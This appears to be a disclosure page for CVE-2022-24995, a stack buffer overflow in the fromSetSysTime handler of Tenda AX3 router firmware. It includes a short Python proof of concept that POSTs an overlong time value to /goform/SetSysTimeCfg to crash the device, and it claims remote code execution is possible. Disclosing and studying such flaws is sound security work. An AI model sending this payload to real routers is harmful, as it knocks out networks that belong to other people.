Headline

CVE-2022-24995: IoT-CVE/Tenda/AX3/7 at main · sec-bin/IoT-CVE

Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the time parameter.

3 years ago

CVE

Open in Source

#vulnerability #dos #git

Tenda Router AX3 Vulnerability

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda Router AX3. (V16.03.12.10_CN)

Vulnerability description

There is a stack buffer overflow vulnerability in the fromSetSysTime function.

The v9 variable is directly retrieved from the http request parameter time.

Then v9 will be splice to stack by function sscanf without any security check,which causes stack overflow.

So by POSTing the page /goform/SetSysTimeCfg with proper time, the attacker can easily perform a Remote Code Execution with carefully crafted overflow data.

POC

import requests from pwn import *

url = “http://192.168.0.1/goform/SetSysTimeCfg”

timeType = “manual”

time = "2022-01-01 " time += “a” * 1024

r = requests.post(url, data={’timeType’: timeType, 'time’: time}) print(r.content)

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